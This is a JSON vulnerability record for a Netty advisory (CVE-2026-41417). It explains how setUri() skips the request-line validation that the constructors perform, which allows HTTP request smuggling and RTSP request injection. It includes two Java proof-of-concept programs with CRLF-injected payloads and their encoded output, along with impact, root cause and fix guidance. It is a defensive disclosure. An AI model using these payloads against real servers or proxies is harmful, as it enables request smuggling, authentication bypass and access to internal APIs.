{"id":"CVE-2026-41417","aliases":["GHSA-v8h7-rr48-vmmv"],"url":"https://o3.security/vulnerability/CVE-2026-41417","summary":"Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()","details":"### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n        request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp://cam/final\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`","published":"2026-05-06T20:52:47.206Z","modified":"2026-08-12T03:51:13.153384077Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},"epss":{"score":0.00307,"percentile":0.23139,"asOf":"2026-08-13"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.netty:netty-codec-http","fixedVersion":"4.1.133.Final"},{"ecosystem":"Maven","name":"io.netty:netty-codec-http","fixedVersion":"4.2.13.Final"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41417.json"},{"type":"ADVISORY","url":"https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41417"},{"type":"PACKAGE","url":"https://github.com/netty/netty"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.153384077Z"}}